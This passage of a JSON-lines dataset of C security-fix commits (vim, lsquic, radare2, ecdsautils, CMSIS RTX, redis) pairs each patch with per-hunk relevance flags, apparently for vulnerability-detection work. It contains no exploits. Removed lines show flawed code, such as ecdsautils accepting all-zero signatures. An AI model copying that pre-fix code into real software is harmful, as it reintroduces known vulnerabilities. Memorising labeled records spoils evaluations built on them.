"related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/version.c", "commit_id": "4748c4bd64610cf943a431d215bb1aad51f8d0b4", "commit_message": "patch 8.2.4974: \":so\" command may read after end of buffer\n\nProblem: \":so\" command may read after end of buffer.\nSolution: Compute length of text properly.", "patch": "@@ -746,6 +746,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4974,\n /**/\n 4973,\n /**/", "sections": [{"section": "@@ -746,6 +746,8 @@ static char *(features[]) =\n \n static int included_patches[] =\n { /* Add new patch number below this line */\n+/**/\n+ 4974,\n /**/\n 4973,\n /**/", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "bin/echo_client.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * echo_client.c -- This is really a \"line client:\" it connects to QUIC server\n * and sends it stuff, line by line. It works in tandem with echo_server.", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * echo_client.c -- This is really a \"line client:\" it connects to QUIC server\n * and sends it stuff, line by line. It works in tandem with echo_server.", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "bin/test_cert.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/fiu-local.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n \n /* libfiu - Fault Injection in Userspace\n *", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n \n /* libfiu - Fault Injection in Userspace\n *", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_attq.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_attq.h -- Advisory Tick Time Queue\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_attq.h -- Advisory Tick Time Queue\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_conn.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_cubic.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_cubic.c -- LSQUIC CUBIC implementation.\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_cubic.c -- LSQUIC CUBIC implementation.\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_eng_hist.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_eng_hist.h - Engine history.\n *", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_eng_hist.h - Engine history.\n *", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_frame_reader.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_frame_reader.h -- Read HTTP frames from stream\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_frame_reader.h -- Read HTTP frames from stream\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_hash.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_hash.c -- A generic hash\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_hash.c -- A generic hash\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_hpi.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_hpi.c - implementation of (Extensible) HTTP Priority Iterator.\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_hpi.c - implementation of (Extensible) HTTP Priority Iterator.\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_logger.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_logger.h -- logging functions and macros.\n *", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_logger.h -- logging functions and macros.\n *", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_minmax.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #ifndef LSQUIC_MINMAX_H\n #define LSQUIC_MINMAX_H\n ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #ifndef LSQUIC_MINMAX_H\n #define LSQUIC_MINMAX_H\n ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_packet_in.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_parse_common.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_parse_common.h\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_parse_common.h\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_purga.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_purga.h -- Purgatory for CIDs\n *", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_purga.h -- Purgatory for CIDs\n *", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_qpack_exp.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_senhist.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_senhist.h -- History sent packets.\n *", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_senhist.h -- History sent packets.\n *", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_stock_shi.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_stock_shi.c\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * lsquic_stock_shi.c\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_trechist.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "src/liblsquic/lsquic_xxhash.h", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n xxHash - Extremely Fast Hash algorithm\n Header File", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n xxHash - Extremely Fast Hash algorithm\n Header File", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_arr.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n \n #include \"lsquic_arr.h\"", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n \n #include \"lsquic_arr.h\"", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_dec.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_dec.c -- Benchmark decryption using aligned and non-aligned buffers.\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_dec.c -- Benchmark decryption using aligned and non-aligned buffers.\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_h3_framing.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_h3_framing.c -- test generation of H3 frames\n */", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_h3_framing.c -- test generation of H3 frames\n */", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_packno_len.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_send_headers.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_send_headers.c -- Test what happens when lsquic_stream_send_headers()\n * is called.", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n /*\n * test_send_headers.c -- Test what happens when lsquic_stream_send_headers()\n * is called.", "related": false}]} +{"owner": "litespeedtech", "repo": "lsquic", "language": "C", "file_name": "tests/test_streamparse.c", "commit_id": "a74702c630e108125e71898398737baec8f02238", "commit_message": "Release 3.1.0", "patch": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "sections": [{"section": "@@ -1,4 +1,4 @@\n-/* Copyright (c) 2017 - 2021 LiteSpeed Technologies Inc. See LICENSE. */\n+/* Copyright (c) 2017 - 2022 LiteSpeed Technologies Inc. See LICENSE. */\n #include \n #include \n #include ", "related": false}]} +{"owner": "radareorg", "repo": "radare2", "language": "C", "file_name": "libr/bin/format/mach0/mach0.c", "commit_id": "a5aafb99c3965259c84ddcf45a91144bf7eb4cf1", "commit_message": "Fix null deref in macho parser ##crash\n\n* Reported by Han0nly via huntrdev\n* BountyID: c07e4918-cf86-4d2e-8969-5fb63575b449\n* Reproducer: machonull", "patch": "@@ -4580,6 +4580,9 @@ void MACH0_(iterate_chained_fixups)(struct MACH0_(obj_t) *bin, ut64 limit_start,\n \t\t\t\tif (page_idx >= bin->chained_starts[i]->page_count) {\n \t\t\t\t\tbreak;\n \t\t\t\t}\n+\t\t\t\tif (!bin->chained_starts[i]->page_start) {\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n \t\t\t\tut16 page_start = bin->chained_starts[i]->page_start[page_idx];\n \t\t\t\tif (page_start == DYLD_CHAINED_PTR_START_NONE) {\n \t\t\t\t\tcontinue;", "sections": [{"section": "@@ -4580,6 +4580,9 @@ void MACH0_(iterate_chained_fixups)(struct MACH0_(obj_t) *bin, ut64 limit_start,\n \t\t\t\tif (page_idx >= bin->chained_starts[i]->page_count) {\n \t\t\t\t\tbreak;\n \t\t\t\t}\n+\t\t\t\tif (!bin->chained_starts[i]->page_start) {\n+\t\t\t\t\tbreak;\n+\t\t\t\t}\n \t\t\t\tut16 page_start = bin->chained_starts[i]->page_start[page_idx];\n \t\t\t\tif (page_start == DYLD_CHAINED_PTR_START_NONE) {\n \t\t\t\t\tcontinue;", "related": false}]} +{"owner": "freifunk-gluon", "repo": "ecdsautils", "language": "C", "file_name": "src/lib/ecdsa.c", "commit_id": "1d4b091abdf15ad7b2312535b5b95ad70f6dbd08", "commit_message": "verify: fix signature verification (CVE-2022-24884)\n\nVerify that r and s are non-zero. Without these checks, an all-zero\nsignature is always considered valid.\n\nWhile it would be nicer to error out in ecdsa_verify_prepare_legacy()\nalready, that would require users of libecdsautil to check a return value\nof the prepare step. To be safe, implement the fix in an API/ABI-compatible\nway that doesn't need changes to the users.", "patch": "@@ -135,6 +135,12 @@ void ecdsa_sign_legacy(ecdsa_signature_t *signature, const ecc_int256_t *hash, c\n void ecdsa_verify_prepare_legacy(ecdsa_verify_context_t *ctx, const ecc_int256_t *hash, const ecdsa_signature_t *signature) {\n ecc_int256_t w, u1, tmp;\n \n+ if (ecc_25519_gf_is_zero(&signature->s) || ecc_25519_gf_is_zero(&signature->r)) {\n+ // Signature is invalid, mark by setting ctx->r to an invalid value\n+ memset(&ctx->r, 0, sizeof(ctx->r));\n+ return;\n+ }\n+\n ctx->r = signature->r;\n \n ecc_25519_gf_recip(&w, &signature->s);\n@@ -149,6 +155,10 @@ bool ecdsa_verify_legacy(const ecdsa_verify_context_t *ctx, const ecc_25519_work\n ecc_25519_work_t s2, work;\n ecc_int256_t w, tmp;\n \n+ // Signature was detected as invalid in prepare step\n+ if (ecc_25519_gf_is_zero(&ctx->r))\n+ return false;\n+\n ecc_25519_scalarmult(&s2, &ctx->u2, pubkey);\n ecc_25519_add(&work, &ctx->s1, &s2);\n ecc_25519_store_xy_legacy(&w, NULL, &work);", "sections": [{"section": "@@ -135,6 +135,12 @@ void ecdsa_sign_legacy(ecdsa_signature_t *signature, const ecc_int256_t *hash, c\n void ecdsa_verify_prepare_legacy(ecdsa_verify_context_t *ctx, const ecc_int256_t *hash, const ecdsa_signature_t *signature) {\n ecc_int256_t w, u1, tmp;\n \n+ if (ecc_25519_gf_is_zero(&signature->s) || ecc_25519_gf_is_zero(&signature->r)) {\n+ // Signature is invalid, mark by setting ctx->r to an invalid value\n+ memset(&ctx->r, 0, sizeof(ctx->r));\n+ return;\n+ }\n+\n ctx->r = signature->r;\n \n ecc_25519_gf_recip(&w, &signature->s);\n", "related": false}, {"section": "@@ -149,6 +155,10 @@ bool ecdsa_verify_legacy(const ecdsa_verify_context_t *ctx, const ecc_25519_work\n ecc_25519_work_t s2, work;\n ecc_int256_t w, tmp;\n \n+ // Signature was detected as invalid in prepare step\n+ if (ecc_25519_gf_is_zero(&ctx->r))\n+ return false;\n+\n ecc_25519_scalarmult(&s2, &ctx->u2, pubkey);\n ecc_25519_add(&work, &ctx->s1, &s2);\n ecc_25519_store_xy_legacy(&w, NULL, &work);", "related": false}]} +{"owner": "arm-software", "repo": "cmsis_5", "language": "C", "file_name": "CMSIS/RTOS2/RTX/Source/rtx_msgqueue.c", "commit_id": "40e936e6751947ada02068284d3ee98873663510", "commit_message": "RTX5: CVE-2021-27431 vulnerability mitigation\n\nReported vulnerability:\ninteger wrap-around in osRtxMemoryAlloc function (parameter 'size')\n\nosRtxMemoryAlloc is an internal RTX function and is not intended to be\ncalled directly by the user. It is also not exposed as public API.\n\nInternal usage of osRtxMemoryAlloc ensures that ‘size’ is never\na large value (>=0xFFFFFFF8U) that would lead to wrap-around.", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (c) 2013-2019 Arm Limited. All rights reserved.\n+ * Copyright (c) 2013-2021 Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n@@ -245,19 +245,15 @@ static osMessageQueueId_t svcRtxMessageQueueNew (uint32_t msg_count, uint32_t ms\n const char *name;\n \n // Check parameters\n- if ((msg_count == 0U) || (msg_size == 0U)) {\n- EvrRtxMessageQueueError(NULL, (int32_t)osErrorParameter);\n- //lint -e{904} \"Return statement before end of function\" [MISRA Note 1]\n- return NULL;\n- }\n- block_size = ((msg_size + 3U) & ~3UL) + sizeof(os_message_t);\n- if ((__CLZ(msg_count) + __CLZ(block_size)) < 32U) {\n+ if ((msg_count == 0U) || (msg_size == 0U) ||\n+ ((__CLZ(msg_count) + __CLZ(msg_size)) < 32U)) {\n EvrRtxMessageQueueError(NULL, (int32_t)osErrorParameter);\n //lint -e{904} \"Return statement before end of function\" [MISRA Note 1]\n return NULL;\n }\n \n- size = msg_count * block_size;\n+ block_size = ((msg_size + 3U) & ~3UL) + sizeof(os_message_t);\n+ size = msg_count * block_size;\n \n // Process attributes\n if (attr != NULL) {", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright (c) 2013-2019 Arm Limited. All rights reserved.\n+ * Copyright (c) 2013-2021 Arm Limited. All rights reserved.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\n", "related": false}, {"section": "@@ -245,19 +245,15 @@ static osMessageQueueId_t svcRtxMessageQueueNew (uint32_t msg_count, uint32_t ms\n const char *name;\n \n // Check parameters\n- if ((msg_count == 0U) || (msg_size == 0U)) {\n- EvrRtxMessageQueueError(NULL, (int32_t)osErrorParameter);\n- //lint -e{904} \"Return statement before end of function\" [MISRA Note 1]\n- return NULL;\n- }\n- block_size = ((msg_size + 3U) & ~3UL) + sizeof(os_message_t);\n- if ((__CLZ(msg_count) + __CLZ(block_size)) < 32U) {\n+ if ((msg_count == 0U) || (msg_size == 0U) ||\n+ ((__CLZ(msg_count) + __CLZ(msg_size)) < 32U)) {\n EvrRtxMessageQueueError(NULL, (int32_t)osErrorParameter);\n //lint -e{904} \"Return statement before end of function\" [MISRA Note 1]\n return NULL;\n }\n \n- size = msg_count * block_size;\n+ block_size = ((msg_size + 3U) & ~3UL) + sizeof(os_message_t);\n+ size = msg_count * block_size;\n \n // Process attributes\n if (attr != NULL) {", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/t_stream.c", "commit_id": "4a7a4e42db8ff757cdf3f4a824f66426036034ef", "commit_message": "Fix memory leak in streamGetEdgeID (#10753)\n\nsi is initialized by streamIteratorStart(), we should call\r\nstreamIteratorStop() on it when done.\r\n\r\nregression introduced in #9127 (redis 7.0)", "patch": "@@ -401,7 +401,7 @@ void streamGetEdgeID(stream *s, int first, int skip_tombstones, streamID *edge_i\n streamID min_id = {0, 0}, max_id = {UINT64_MAX, UINT64_MAX};\n *edge_id = first ? max_id : min_id;\n }\n-\n+ streamIteratorStop(&si);\n }\n \n /* Adds a new item into the stream 's' having the specified number of", "sections": [{"section": "@@ -401,7 +401,7 @@ void streamGetEdgeID(stream *s, int first, int skip_tombstones, streamID *edge_i\n streamID min_id = {0, 0}, max_id = {UINT64_MAX, UINT64_MAX};\n *edge_id = first ? max_id : min_id;\n }\n-\n+ streamIteratorStop(&si);\n }\n \n /* Adds a new item into the stream 's' having the specified number of", "related": false}]} +{"owner": "vim", "repo": "vim", "language": "C", "file_name": "src/spellsuggest.c", "commit_id": "156d3911952d73b03d7420dc3540215247db0fe8", "commit_message": "patch 8.2.5123: using invalid index when looking for spell suggestions\n\nProblem: Using invalid index when looking for spell suggestions.\nSolution: Do not decrement the index when it is zero.", "patch": "@@ -1973,7 +1973,8 @@ suggest_trie_walk(\n \t\t\t sp->ts_isdiff = (newscore != 0)\n \t\t\t\t\t\t ? DIFF_YES : DIFF_NONE;\n \t\t\t}\n-\t\t\telse if (sp->ts_isdiff == DIFF_INSERT)\n+\t\t\telse if (sp->ts_isdiff == DIFF_INSERT\n+\t\t\t\t\t\t\t && sp->ts_fidx > 0)\n \t\t\t // When inserting trail bytes don't advance in the\n \t\t\t // bad word.\n \t\t\t --sp->ts_fidx;", "sections": [{"section": "@@ -1973,7 +1973,8 @@ suggest_trie_walk(\n \t\t\t sp->ts_isdiff = (newscore != 0)\n \t\t\t\t\t\t ? DIFF_YES : DIFF_NONE;\n \t\t\t}\n-\t\t\telse if (sp->ts_isdiff == DIFF_INSERT)\n+\t\t\telse if (sp->ts_isdiff == 